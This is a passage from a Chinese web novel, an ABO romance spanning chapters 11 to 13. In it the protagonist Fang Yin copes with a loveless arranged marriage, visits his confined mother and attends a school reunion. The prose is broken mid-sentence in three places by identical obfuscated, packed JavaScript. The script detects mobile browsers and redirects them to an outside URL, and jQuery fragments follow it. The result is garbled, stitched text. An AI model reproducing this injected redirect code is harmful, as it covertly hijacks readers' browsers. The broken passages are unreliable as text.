方引如芒在背,他很清楚今天大部分来人都要跟谢积玉套近乎的,自己当然不想成为众矢之的,也不能当众拂了关岭的面子,毕竟关岭是谢积玉的朋友里唯一一个愿意给他好脸色的。 最重要的是,方引太清楚谢积玉的为人了,那几天易感期过得还算不错,如果此时自己蹬鼻子上脸惹外人怀疑,只会让谢积玉更加厌烦。 于是方引拿出手机摇了摇:“医院里有点事,我要先处理一下。您二位先去吧。” 方引话音刚刚落下,谢积玉便有些不耐烦了:“关岭。” 他确实是不高兴了。 关岭撇了一下嘴,在方引肩上拍了拍:“那我先走了,你自便。” 方引点点头,他轻轻呼出了一口气,刚才谢积玉那个表情却在他脑海里反复回荡。 或许他今天根本不该来,以谢积玉的为人,不速之客接近他只会碰一鼻子灰,根本用不着自己在这自作多情,怕方澄做出什么事情。或许他之前那些担心更是无聊,他在谢积玉心中的为人本来就已经很差了,再多一个唐突的方澄又能怎么样? 亦或者,方澄的样貌比自己受欢迎那样多,谢积玉会因为惊奇兄弟俩长相差别如此大而多看方澄一眼吗?毕竟他本来就讨厌这样谄媚逢迎的人。 甚至,如果方澄的本性展现出来,只会让谢积玉觉得,他们真不愧是一丘之貉...... 无数的可能性紧紧地挤在方引的脑中,然后无声地爆炸成了一片虚无的灰烬。 陡然的窒息感让方引觉得自己眼前有些发黑,他抓着手机便离开了会客厅,避开了裴昭宁的询问和在场其他人的好奇目光。 方澄咬牙切齿地看着方引的背影开口:“他就知道对我凶,面对谢积玉就胆小起来了。” 裴昭宁有些好奇地转头问:“这是什么意思,我刚才就想问,阿引跟谢总他们熟悉吗?” 方澄张了张口,这才发现自己刚才好像是说漏嘴了,急忙圆谎:“没有吧......呃,我的意思是,方引这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“omega能陪床,那个beta听说当了谢积玉的私人医生,不知道是不是真的,只不过他们刚才看上去不熟啊......” 私人医生。 又是这个词。 那天回家的时候,方敬岁好像就提过,但方引以为只是无稽之谈,后来就把它抛在脑后了。但现在陡然在一个陌生人口中听到,就意味着这种传言也许不少人知道了,这让方引觉得十分不安。 方引仔细回忆近段时间的细节,唯一被外人撞见过的就是谢积玉回国那天在谢家大宅,碰到了那位姓梁的事务官。 可是这种政界的人精,真的会传这种话吗? “谁会把伏小做低这事放在明面上?只不过,对方总来说,确实是物尽其用啊。”那个声音顿了顿,像是带着无限的兴味,“你还不知道以前的事情吧?特别是他那个大儿子,可远没有其他人家的孩子金贵。” 方引默然。 自己亲身经历是一回事,可从别人嘴里听说却又是一回事。 “方总年轻的时候有个未婚妻,听说是个顶标致的人。后来在结婚之前却出意外去世了,方总情深,就再也没娶妻。就算有了孩子,说白了都是私生子。方总或许心中有愧,觉得自己是不是背叛了原来的爱人,连带着大儿子都特别不待见。今天他们过来参加晚宴,可见元晖制药确实遇到了一些问题,急需攀上谢积玉这根高枝。” “毕竟养了这么多年,孩子也是要还父母恩的。” “说的是呢......” 山里的风大了一些,夜晚的凉气愈盛,绣线菊的花枝温柔地轻抚方引的眼下。 11. 蝴蝶酥 冰凉的水泼在脸上,方引整个人都清醒了不少。 他站在洗手间的镜子前闭着眼睛,用沾了凉水纸巾在眼周轻轻擦拭了一会。等他再次睁开眼睛戴上眼镜的时候,已经看不出来脸上有些什么奇怪的地方了。 拍卖会已经接近尾声,楼下的人声渐渐大了起来。 方引拉开洗手间的门要出去,却跟一个正要进来的人撞在了一起。 “不好意思......”等方引道完歉,扶正了被撞歪的眼镜,抬眼才发现来人是沈涉。 对方垂着眼睛,眉头紧蹙,正厌恶地看着方引。 作为知道谢积玉结婚内情的少数人之一,方引知道沈涉对他的讨厌已经是冰冻三尺,就算是偶尔一次见到面也免不了刺方引几句。 但今天毕竟不一样,楼下还有许多人,方引不愿意跟他起冲突,又说了一句“不好意思”便要走,可是沈涉堵在门口一动也不动。 “你今天来干什么?给谢积玉添堵吗?” 方引深深地吸了一口气,声音也冷了下来,“谢积玉并没有不准我来,而且,我要做什么也没必要跟你汇报。麻烦让一下,我还有事。” 嘴上是请求对方,但方引的行动却没有软下来,擦着沈涉的肩膀就要走出去,却没想到被沈涉一把抓住了胳膊:“我警告你,今天对他来说很重要,你不要妄想做什么。” “你觉得我会做什么?”方引有些好笑地看着沈涉。 “不管你要做什么都请你记住,给自己留些体面。”沈涉抓着方引的那只手猛地一用力,把方引拉到跟前,声音低沉,“省得以后离婚的时候闹得难看,不是吗?” 有的话就是这样,明明自己已经做过许久的心理建设了,但真的在别人口中听到的时候却又是一种完全不一样的感觉。 于是方引像是一只被踩了尾巴的猫,大脑几乎没有进行思考,身体就立刻做出了反应。他用力把自己的手腕扯出来,手肘撞上了墙壁,震得他整条胳膊都发麻。 然而方引面上还是镇定:“这是我自己的事情,不用你管。” “是不用我管。”沈涉优雅地整理自己的衣袖,声音中透露出十足的把握,“如果海底隧道项目顺利开工,就意味着谢积玉可以摆脱他母亲的制衡了,那这段被他母亲强行安排的婚姻就要结束。我好心告诉你,是看在老同学的份上劝你,别入戏太深真以为自己能跟谢积玉举案齐眉了。” 方引支撑着自己的身体,他抬头望着沈涉,声音很轻:“我从来都没这样想过。” 似乎是没想到方引会这样回答,沈涉一时间愣住了。 这短暂的对峙一刻被裴昭宁远远看见,等他小步走近洗手间门口的时候,两人的神色已经恢复了正常,似乎只是进行了一个简单的对话。 “阿引,你这是怎么了?”裴昭宁关切地打量着方引,然后轻触了一下他的手指,“你手很凉啊,是不是酒后吹风久了?小心感冒。” 沈涉望着裴昭宁,语气里都是不耐烦:“你又是谁?” “沈先生好,我是东伦建设的裴昭宁。刚来首都不久,对这里很多事情都还不太熟悉,以后还要麻烦请你多多指教。”裴昭宁挪了一下步子跟方引站在一起,眼神在沈涉和方引之间转了一个来回,“如果刚才方引有什么冒犯到沈先生的地方,我替他道个歉。” “我刚才不小心撞到了沈先生,已经解释清楚,没什么事了。”方引还没等沈涉开口说话便抢先回答。裴昭宁并不了解沈涉的性子,而方引也不想让裴昭宁遭受无妄之灾,“时间差不多了,我们回去吧。” 话音落下,方引就拖着一头雾水的裴昭宁一起离开。 裴昭宁下意识地回头去看,却发现沈涉狭长的双眼里似有阴云,正沉沉地注视着他们。 裴昭宁心里顿时有了些疑影:“阿引,你是不是跟沈涉有什么冲突?你说出来,能帮你的我肯定帮。” 能有什么冲突啊,不过是别人说了实话,而自己听不得实话而已。 方引深深地吸了一口气:“真没什么。我们在一个学校读的高中,他好像对我还有点印象,就多聊了几句。” 裴昭宁忽然拉住了方引,看着他的眼睛认真道:“是不是因为我们太久没见了,我总觉得你现在对我有些生疏。你不用顾虑太多,我永远是你的哥哥,这是我们从小就说好的。” 这不是生疏,只是一种隐瞒。 意识到这一句话的瞬间,方引却有些恍惚。 这样永远变着方法对着不同的同学、同事和朋友隐藏真实自己的日子,连方引都不记得自己已经过了多久。或许他早在这样的生活中把原来的自己扭曲了,这才会使得许久未见裴昭宁很容易发现他身上不对劲的地方。 方引点点头,像是一声叹息:“我知道的。谢谢你,昭宁哥。” 裴昭宁笑了,他用手绢擦掉方引额发上的水珠,轻声道:“过段时间我要订婚了,你记得要来参加我的订婚宴啊。” 方引一愣,随即立刻道:“恭喜,对方是?” 裴昭宁露出一个有些苦涩的笑容,又仔细地理了理方引的衣领,最后手掌虚虚地落在方引的肩上:“不知道呢,还没确定。” 方引哑然。 看来世家大族的子弟都一样,所有人都是利益棋盘里的小小棋子,谁都逃不过。 这短暂的沉默很快被涌入的媒体打断了。 方引转头看向声音来源的地方,却发现谢积玉刚好把头转向了另一侧,正在听记者的提问。 可以想见,明天一天,所有媒体的头条都将是谢积玉主导下的海底隧道项目的最新进展。随之他的影响力会越来越大,可以就这样慢慢地顶开母亲压力,坚定地撇开那些自己不想要的东西,做一个没有束缚的自由个体。 与谢积玉比起来,方引这么些年所作出的努力很难叫做努力,顶多是一种挣扎,在方敬岁的威压之下苟延残喘而已。 接下来的几天,方引在医院几乎是不眠不休地参加一个特殊的病人会诊。 病人是个刚植入人工omega腺体没有几个月的beta,还处在术后的康复期,需要及时关注其排异反应。不幸的是外出散步的时候被高空落下的花盆砸到,颅骨骨折,花盆的碎片还深深划伤了新腺体,排异反应还伴随着大量出血。 下了两次病危通知书后把对方的alpha伴侣都吓得手足无措,人几乎是跪着求医生腺体可以不要,但人一定要保住。 都是男性的AB类夫妻能生育下一代的几率微乎其微,植入omega腺体之后可以让受孕几率提高。在这种技术越来越成熟的现在,于是很多人就会选择这种方式,只要度过了排异反应期,就几乎没什么危险性了。 那个beta在重症监护里住了好几天才脱离危险期,alpha进去之后两人几乎是哭着抱在一起。 梁轩隔着玻璃不住地摇头叹气:“选择同性AB结婚就不要老想着要孩子嘛,这事之前不就应该想好,这多让爱人遭罪。” 方引看着劫后余生的两人道:“毕竟现在手术风险已经降低很多了,所以很多人这么选。” “除非哪天这个手术的风险跟割阑尾一样低,不然我心里永远拒绝这种方式。”梁轩说着,又转过脸来看着方引跟想起什么似的,从手机相册里翻出一张照片,“对了,隔壁信息素科来了个刚从国外进修回来的主治医师,我大学的学妹,是个alpha。漂亮吧?” 照片里的女士穿着白大褂和黑色的高领毛衣,长发整齐地挽在脑后,望着镜头浅浅地笑着。 “人家怎么可能看得上我这样的。”方引笑着摆摆手,“我明天有事请假,今天要早点下班。那几个病人你帮我多盯着点啊。” 方引把接下来两天的事情交代完之后,开车去了首都老城区一处窄巷子里。 他将车停在巷口,然后走进巷子里,弯弯曲曲地走了十分钟后便看到了排队的人群。 这是一家不起眼的小甜点铺子,但开了三十多年,历经两代人的经营,不仅在首都有口皆碑,更是吸引了无数外地人来品尝。 方引在这里买了许多次,明显能感觉出来需要排队时间越来越长。 一刻钟之后排到了方引,老板显然已经对他很熟悉,热情地打了个招呼之后指了指一边的试吃盘: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373261|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “店里的新品,佛手柑巴斯克,卖得还不错,今天要不要带一块?” 方引尝了一小口,酸甜绵软,清爽的佛手柑香气瞬间在齿颊萦绕,让他想起来谢积玉常喝的佛手柑茶。 只是方引不确定,谢积玉会不会也喜欢这个味道的蛋糕呢? 只是毕竟后面还有排队的人,容不得纠结细品,方引便决定自己先买一块尝尝。 “那其他的还是老样子?一盒蝴蝶酥,一盒柠檬塔?” 方引点点头:“对,就这三样,麻烦您帮我装好。” 买完甜品之后,方引开着车一路向西,太阳刚落下的时候,车子正好开上了断崖海岸线。 晚霞还有一丝红色残留在夜幕边缘,远方的海上灯塔已经亮了起来。海风裹挟着海浪,一波一波地撞在断崖下方黑色的岩石上,像是碎了一地的雪花。 夜幕笼罩下的绵延起伏的草地,有一种孤悬于太空之中的寂静感。月色落在方引左手无名指的戒指上,反射出一道冷冽的光。 方引不知道自己开了多久,直到看到不远处那两扇熟悉的铁门和门口的灯,他的心才重新落了下来。 他刚刚停下车,几个西装革履的alpha就从那个门里走了出来。 方引下车后将那几块蛋糕往那个方向递了一下,就立马有人伸手接住,打开了外包装去看里面的东西,然后拿着金属探测器又仔细地扫了几遍。 同时方引张开双臂站直身体,任由对方在他身上摸索检查,确定都没有问题之后把东西重新递给了方引,然后才让开了路。 几个月没来这里,原本道边光秃秃的苦楝开了满枝头的淡紫色小花,花落在湖面上,能隐约看到淡淡的涟漪荡漾开来。 顺着涟漪看去,方引远到湖边的有一道清瘦的侧影,面对着湖,手里拿着一根鱼竿。 方引走过去之后探头看了看对方脚下的小桶,里面只有两条一指长左右的小鱼,此时正可怜兮兮地靠着桶边,紧紧地依偎在一起。 方引评价道:“这收获有点一般呀。” 周知绪转过头来看着方引,微笑道:“我已经从午睡之后一直努力到现在了,没办法。” 然后他弯腰,捞起那两条小鱼放在手心里,轻声道:“永远在这个小湖里,也长不了多大。” 说完,周知绪便将它们又扔回了湖中,寂静的夜里荡漾起两个交错的回声。 “晚饭已经好了,进去吧。”周知绪在用湖水将手洗净,然后接过方引手里的袋子,面上有些开心,“我就想着这个味道呢。” 方引看着周知绪臂弯上那一小块青紫的皮肤道:“体检结果怎么样?一切都还好吧?” 周知绪领着方引进入客厅,将茶几上的报告递给方引:“好着呢,你自己看。就是他们让我多吃肉,但我最近没什么胃口。” 其实报告里各项数据都勉强是刚刚及格,远远算不上有多健康。不过以周知绪的身体状况,就算是被精心地照顾了这么多年,能恢复成目前这个水平已经算是非常好了。 方引假装在低头认真看报告,但舌底已经泛出了一丝难言的苦味。 周知绪细细看着方引的神情,利落地扯出方引手里的报告扔在一边,然后理了理他垂在眼前的额发,温声道:“头发该剪了。” 方引上前轻轻拥着周知绪,抬眼便看到了放在壁炉上的相框。 照片里是一大一小两个人,站在轮船的甲板上,身后是海天一色的蓝。 大人看上去也就二十岁出头,穿着白T恤和蓝色衬衫,头发和眼珠乌黑,衬得面色惨白,双唇紧紧抿着。小孩子四五岁的模样,穿着牛仔背带裤,望向镜头的眼神有些呆呆的,手里抓着一只棕色的小狗毛绒玩具。 那正是二十多年前的周知绪和方引。 那个历经多年的毛绒小狗已经变得灰扑扑的,一只耳朵被扯下来一半,左边眼睛是用纽扣缝上去替代的。 此刻它正歪歪扭扭地依偎着那张相框。 方引的尾音像是带着一丝叹息:“母亲,我很抱歉。” 周知绪轻轻拍着儿子的背:“你能来是高兴事儿。吃饭吧。” 12. 假婚戒 方引是五岁那年才有初步的意识,那就是他的家庭跟别人的家庭不一样。 他的父母互相憎恶,他的母亲在他父亲的逼迫下没有什么自由,大部分时间都与世隔绝。 在方引五岁那年,隐忍许久的周知绪得到了机会,嘴上说想带着儿子跟方敬岁一起拍全家福,实际上早就策划好了逃跑的方案。 只是方敬岁神通广大,当年周知绪已经带着小方引在开往南大陆的货船上整整一夜,天亮的时候,还是被方敬岁带着人堵到了。 那一夜的记忆对方引来说很模糊,他在腥臭的货舱里吐得几乎没有意识,全程都被周知绪抱在怀里,而那只毛绒小狗也被方引抱在怀里。清晨船被逼停,方引的意识才稍微恢复了一些,他和周知绪就被方敬岁的人拖到了甲板上,拍下了那张照片。 作为一种告诫,方敬岁做了两件事情。 第一件事,就是把那张照片放在周知绪的起居周围一直到今天; 第二件事,方敬岁把方引送进了红墙孤儿院里住了一年多。 这是在明明白白地告诉周知绪明白做这件事的后果,如果再有下次,方引大概就要被抛弃成为一个名副其实的孤儿了。 长大后的16岁的方引和周知绪角色调换过来,方引成了那个带着周知绪逃跑的人,最后的结果也以失败告终,只不过方引受到的教训惨痛了一些。 方引一直认为方敬岁对周知绪和自己那就是恨,否则很难解释他这么多年来的做法。至于为什么要保重周知绪的身体以及方引自己的安全,不过是想让他们在这个世界上多一些时间受折磨而已。 但到底在恨什么呢? 结合方敬岁这么多年来的态度,方敬岁和周知绪有了夫妻之实却没有结婚的前提,以及外界的一些传言,方引推测大概跟方敬岁当年那个早逝的爱人有关。 但是方引曾经尝试问起一些内情的时候,周知绪通常避而不谈这个问题,方敬岁对此更是厌恶至极,从来都不屑于说一个字。 周知绪在身心的双重压抑下曾一度被逼到垂死的边缘,然后方敬岁松了口,承诺周知绪只要按照医生的要求保重好身体,就同意让方引多来看他。 血缘这东西是神奇,方引有机会跟周知绪相处的时候,总是他人生中难得平静的时候。但也正是因为这样的关系,让他们变成了像是被同一条锁链系在脖颈上的人,自己任何动作都要考虑会不会让对方遭受无妄之灾。 桌上菜色丰盛,其中还有不少药膳,只是周知绪却并不感兴趣,早早地就放下了筷子,吃起了方引买回来的糕点。 等周知绪拿起第三块蝴蝶酥的时候,方引也放下了筷子,以透透气为理由拉着周知绪到门口的小湖边坐坐,也给佣人留出机会将剩下的糕点收起来。 “小时候跟福利院里的大孩子一起出门捡塑料瓶卖,卖到的钱就去那个小摊子买点心吃,我当时小,只能分到这样的半块。”周知绪用手里没吃完的糕点示意给方引看,“当时真的觉得这东西好吃得不得了,等长大后一定要天天吃。” 周知绪说完又将那半块点心放进嘴里吃完,声音像是有些疑惑:“不知道为什么,现在还是觉得它很好吃。可能我的口味这么多年来都没变过吧。” 那一瞬间方引的心好像都被狠狠地锤了一下。 或许对于他的母亲来说,现在的日子还比不上小时候在福利院吃不饱穿不暖的日子,才会觉得蝴蝶酥的味道还是那样吸引他吧。 方引微微转过头,眨了眨眼睛,目光虚无地落在了漆黑的湖面上。 毕竟是血脉相连的人,周知绪还是敏锐的,他把手轻轻放在方引的膝头:“你最近是不是累了,我看你瘦了些,刚才吃东西也没什么胃口。在想什么呢?” “没事。”方引不想让他发现自己神色有异,便软了身体,将头靠在周知绪的肩上,“下半年我要评副主任了,这段时间就忙了不少。” 周知绪沉默了一小会才开口:“其实我当年那点小伤早就好了,我也希望你不要记在心里。工作的事情不要勉强自己,该休息的时候要休息,我希望你能快乐一些。” 方引“嗯”了一声,表明自己知道了,他知道周知绪在担心什么。 16岁那年方引带着周知绪逃跑,慌乱之中周知绪被路上的车撞到,小腿骨折,鲜血淋漓,当场就被方敬岁的人抓住了。作为惩罚,方引也当着周知绪的面被折了小腿,差点再也站不起来。 也就是那一年,方引才决定以后要学医。 方引便让周知绪放心:“反正我尽力,评不上就算了。” 周知绪露出了一个有些欣慰的笑,然后问:“你跟小谢之间,相处得还好吗?” 方引愣了一下,点点头:“挺好的。” 他无意识地转着自己无名指上的铂金戒指,那戒指的尺寸有些大,原本是方引想给谢积玉的婚戒,只是谢积玉并不想要。于是它只能松松地戴在方引修长的手指上,在周知绪面前扮演一枚谢积玉送给方引的婚戒。 周知绪将着一切看在眼里,他没有戳破方引:“那就好,他是个好孩子。如果你们能好好的,你是很有机会离开方家的。” 说离开还是委婉了,准确来说是彻底摆脱方敬岁的控制。 方引一直都知道谢积玉表面上难以接近,但其实并不是一个多冷酷的人。 小时候的方引觉得,只要长大有能力赚钱了就可以想办法带周知绪离开。所以念高中的时候,方引就开始一边上学一边打工的日子。那时候的方敬岁大概也乐于看到方引做这种挣扎,他便将方引的生活费停掉了,方引便只能靠自己在外面做兼职。 有一次方引在兼职的时候,被客人为难,后来是谢积玉帮了他一把。 当然当时谢积玉在跟方引的一个室友交往密切,方引不否认其中有这个原因。 但现在却不同了,两家刚有联姻想法的时候,谢积玉主动找过方引,希望他能一起跟父母反对这幢婚事,但是方引婉拒了。 这样一来,他在谢积玉眼里的角色就完全变了,比起让谢积玉被迫结婚的帮凶,那还是一个仅有几面之缘但可怜兮兮的同学更值得他帮助。 所以这些许的心软,谢积玉大概率不会给现在的方引,而方引更不想让谢积玉知道他在方家这么多年来不堪的往事。 周知绪摸了摸方引的头:“已经很晚了,回去休息吧。” 两人一前一后又走回去,方引却不由自主地停在了壁炉前。 他伸手摸了摸那个毛绒小狗,然后用指尖小心翼翼地碰了碰那个被当成左眼的贝母纽扣,像是在碰世界上最珍贵的宝物。 毕竟这是谢积玉送给他的第一件礼物,或许也是这辈子唯一的一个礼物。 方引这一夜睡得不是很安稳。 他梦到过去在红墙孤儿院的时候毛绒小狗被大孩子抢走,而小方引被其他人抓住,只能看着他的毛绒小狗被扯破耳朵、被抠掉眼睛。 只是梦里的的小狗用那填满血红色的空洞望着方引,明明没有眼珠子,方引却清晰地感觉到了小狗的恨意,恨方引的无能。 他觉得自己被魇住了,一动都动不了,眼睁睁地看着小狗长出獠牙和利爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373262|168217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后用力撕开自己的腹部,粘稠的鲜血从他的身体里不停地往外流,直到满眼都是血色。 一夜噩梦让方引早早地就醒了,身上有些汗水残留的黏腻感。 时间快到六点,天还没有完全亮起来,方引打开窗户,发现外面正淅淅沥沥地下着雨,清新潮湿的空气里裹挟着草木的芬芳。 后院一大片山茶花田被笼罩在雨中,不少盛开中的白色山茶花整朵整朵地花心朝下砸在地上。 方引趿着拖鞋轻手轻脚地下了楼,却发现周知绪早就在客厅里坐着了,腿上搭着一条毛毯,正喝着咖啡看着早间新闻。 他穿着一身灰色的居家服,光洁的颈侧就那样露了出来,在腺体的位置上有一道细长的白色疤痕。也正是因为这道疤痕,周知绪的omega腺体毁了,如今几十年过去,他已经变得越来越像一个真正的beta。 不过这对他和方引来说都算得上是一个好消息。 周知绪注意到了方引,他拢了拢衣领,指着厨房:“还有一杯咖啡,自己去拿。” 两人就这样并排坐着,静静地感受着这样的早晨,直到电视里的一条新闻的播送。 画面里一群穿着黑衣服带着口罩和帽子的人静坐在一个写字楼门口,手上拿着牌子,上面写着“保护海洋”“拒绝海底隧道”等显眼的标语,旁边围着许多媒体在拍。紧接着画面镜头上移到了写字楼的顶端,上面清清楚楚地写着“领杉资本”四个大字。 随后镜头还对准了那些示威的人,方引得知他们是一个叫做“深海基金”的海洋环境保护组织,他们认为海底隧道的开发会对海洋环境造成破坏,还会危及海洋生物的生命。 他们的领头人的诉求是要跟谢积玉面对面沟通,痛陈利害,让他停止这个项目,否则他们就天天来集团门口静坐示威。 只是截至发稿他们也没能见到领杉资本的任何一位高管,更别说是谢积玉了。电视台只能在最后简要地播送了一段谢积玉不久之前关于海底隧道项目的采访,大意是说现在项目推进顺利,也做好了荡平一切困难的准备。 周知绪看着方引手里咖啡在荡出了淡淡的波纹,轻声道:“你要是担心的话,就回去看看吧。” “我好不容易来一趟,还没到要走的时候。”方引这才后知后觉手中咖啡灼热的温度,他放下杯子之后搓了搓那块微红的皮肤,“而且这些对他来说都是小事,没关系。” 太阳终于出来了,佣人们从外面进来,将做好的早餐整整齐齐地放在桌上。 方引趁着这个空档,快速编辑了一条消息发了出去:帮我查一下一个叫“深海基金”的环保组织,确认一下他们活动资金的主要来源。 对方很快回复了一个OK。 而方引刚准备放下手机,又有一条新消息进来,他还以为对方有什么问题需要补充。 然后他就发现发消息的另有其人。 池青:我过两天回国,到3号晚上请几个同学吃饭,你有空一起来吗? 周知绪已经坐到了餐桌前,却看到自己的儿子靠在窗前正低头看着手机。与窗外在风中微微拂动的山茶花枝条相比,方引整个人却静得像是一座没有生气的雕塑。 他莫名想起了方引16岁那个生日的早晨,在他们外出的车上,方引也是这样安静。只不过后来周知绪才知道,一个小时后,方引便带着他短暂逃离了方家。 周知绪心下不安,他走上前拉住方引的手:“怎么了?” 方引几乎是顿了好几秒钟才抬起头来,笑了笑:“没事,是......一个高中同学。” 13. 校园情侣 电梯轿厢的灯光昏黄,方引的脸映到轿门上,变得模糊又扭曲。 方引盯着自己那张脸看了许久,直到电梯停在了33楼。他深吸了一口气,出来蹋在柔软的地毯上,穿过走廊,在一扇门前停了下来。 他站在一个包厢的门口,垂在一边的手无意识地捏着西裤的边缝,走廊的光从他背后打下来,让他的神情隐没在黑暗里。 就在方引抬起手准备敲门的时候,忽然有人拍了拍他的肩膀。 池青看着方引脸上几乎定格的愕然的表情,忍不住笑弯了腰:“怎么,几年不见都不认识我了?我看你刚才在门口站了半分钟都不敲门,不会是忘了我叫什么吧?” 方引连忙摆出一个得体的笑意:“在一块住了两年呢,怎么可能忘了。” 池青像是听到了满意的答案,推开眼前的门,然后方引才发现包厢里来的同学还真不少。 方引高三那年休学了一年,相当于他们只当了两年的同学,再加上方引念高中的时候与人来往的也少,故眼前这帮同学很多他都不太记得名字了。 毕竟当初的高中室友池青从国外回来,主动邀请他来参加聚会,于情于理都无法拒绝。 池青跟他是高中室友,关系也好,不过两人性格倒是有点不一样。 池青是极外向的一个人,方引记得新生入学不过一周,池青就能叫出班上每个人的名字。学校里各种社团、学生会都能看到池青的身影,包括什么文艺汇演、运动会,池青永远都是最活跃的那一个。 人缘好,长得也好,所以非常受同学以及学长学姐学弟学妹们的欢迎。 他学的是小提琴,高中毕业后出国去了著名音乐学院学习,后来办了好几场个人独奏会,在圈子内已然是一颗冉冉升起的新星。 尽管毕业之后就没回来,但几年之后的今天能看出来他受欢迎的程度并没有因为时间而消逝,今晚来了如此多参加聚会的同学就是例子。 吃了一轮之后大家都在聊天,无暇顾及桌上的菜,只有方引盯着眼前的茶树菇,一会夹一筷子消磨时间。 “池青,你这次回国有什么打算?只是回来看看咱们这些老同学,还是说想留在国内发展了?” 一个问题问出来,桌上顿时安静了许多,所有人的注意力都集中到了池青身上。 池青放下酒杯,双手交叉撑着下巴:“我倒是真没想再回去,不过,要先看看国内有没有合适的机会。今年我打算开个人演奏会,到时候你们一定要来捧场。” “那是自然!” “池大演奏家的场子一票难求,到时候私人给我们留点啊。” “没问题,我一定买好花,到时候第一时间送给你!” 众人说说笑笑,又喝了许多,说起在学校的时候的往事,搞笑的,出糗的,八卦的都有。聊着聊着,有人忽然来了一句:“池青,你既然都回来了,不想跟男神再续前缘?” 池青酒量不错,喝了好几杯红酒下去,只是脸颊有些薄红,眼神倒是分外清明。他听到这话,手里的筷子微微一顿,淡淡道:“哪个男神啊?” “老同学了还装什么啊,当然是谢积玉啊!当年你们俩的事情可是人尽皆知,学校的论坛至今都能看到你俩照片呢。我在首都这几年,从来没听说过他有什么绯闻。” 方引看着池青晦暗不清的侧脸,藏在桌下的手,也不自觉地绞紧了。 池青的声音几乎没有什么情绪:“都是早就过去的事了,我现在专注事业,不想这个。” 但对面的几个同学并不打算放过眼前这个八卦的机会:“可是谢积玉到现在还单身呢,说不定在等你呢?你俩多般配啊,可惜了。” 池青瞧着对面的人,眉毛微微蹙起,漂亮的圆眼都被眼皮压住了。不过大家都喝多了,没人注意到他这细微的情绪变化。 “你怎么知道他还单身?” 方引早在心里做足了建设,他明明并不慌张来着,可是池青的反问却让他的心提了起来。 被问道的人愣了一下,才道:“反正肯定没结婚,那就有机会啊——毕竟他那个层次,结婚肯定上新闻的。方引你说呢,毕竟你当年也算是见证过他们俩的爱情故事了?” 忽然被提起名字让所有人的目光都集中到了他的身上,就连池青也转过头来看着他。 方引轻咳了一下,松了松发紧的喉咙:“你说的对,如果谢积玉结婚了,肯定是个大新闻,大家都会知道的。” 然后他逼着自己跟池青对视,传达出了自己对这个答案的信心与确定性。 池青似乎是了然地点了点头,举起酒杯在玻璃桌上点了两下,转移了话题:“你们不会不行了吧?我可是在最豪华的KTV定了包厢的啊,喝的起不来的可没机会去了啊。”其他人听到池青的话之后,立马注意力转移了,纷纷拍胸脯保证自己一点没醉。 “你呢,等会一起?”池青转过头来,望着正在发呆的方引道。 方引像是如梦初醒,他藏在桌下的右手,有些不受控制地撕下了左手上的倒刺,一点血色悄悄地浮现了出来。这轻微的刺痛让他清醒了一些:“我就......不去了吧,太晚了得回家了,下次再陪你一起玩。” “怎么?家里有人查岗啊?”池青嘴角弯着,眼神却很认真地看着方引。 “当然没有了。”方引的声音依旧沉稳,只是手却不小心碰到了高脚杯,里面残留的一点点红酒流到了他的裤子上,引得边上其他人的注意。 他的脸瞬间烧了起来,演了一晚上,还是有种做贼心虚被抓现行的感觉。 池青伸手抽了两张纸巾给他,温声道:“回家换衣服吧,反正我现在在首都,一起聚会的机会还很多。要我送你回去吗?” “不用不用,你陪他们吧。”方引穿上外套,跟其他同学打了招呼,快步出了包间。 高中的时候,学校论坛里曾有张流传已久的照片,方引是记得的。 那是学校的一次晚会的后台化妆间里,昏暗的灯光,满地的舞台道具,走来走去的人群,都显得凌乱不堪,但是却把照片的氛围感衬托得更好。 谢积玉背靠着化妆桌,嘴角带着淡淡的笑意。池青就站在他对面,微微垂着头,好似有些腼腆的模样。这张暧昧感若有若无的照片被当时晚会的摄像师无意间拍了下来,却成了学校当年最有名的照片之一。 而一张照片之所以能那样出名,也是与后来发生的事情有关的。 开始的时候只是一帮人在热情地开他们的玩笑,只是当越来越多的人发现,自那之后,谢积玉和池青常常一起出现在公众场合,一起上课,一起吃饭,虽然没有大张旗鼓地官宣,但人人都知道他们俩个是在一起的。 其实在那张照片没拍到的另一侧,方引在那里正在帮同学整理上台要用的东西,完了之后又急匆匆地去外面兼职去了。所以几天之后,他才看到那张被广为讨论的帖子。 不久之后,在一个深夜兼职结束,卡着点进宿舍楼的晚上,在门口看到谢积玉和池青的身影慢慢地交叠在了一起。 路灯昏黄的光被松树枝切割得支离破碎,影影绰绰地落在二人的身上。 方引识趣地没有走上前。 一会之后池青才发现了方引站在不远处,他热情地喊了方引的名字,招手让他过去。 谢积玉静静地听完池青的介绍,礼貌地点了一下头,对方引伸出手:“你好。” 方引也回握:“你好。” 这是他们高中时代的第一次对话。 后来方引和谢积玉的关系仅限于点头之交,在学校里偶尔见到能打个招呼,方引也一直把谢积玉当成好朋友的对象这个角色来看待。 再到后来,都听说到见家长的那一步了,不知道怎么的,池青就出国留学去了。明明是上一秒还是知名校园情侣,下一秒就形同陌路了。 这些事也是方 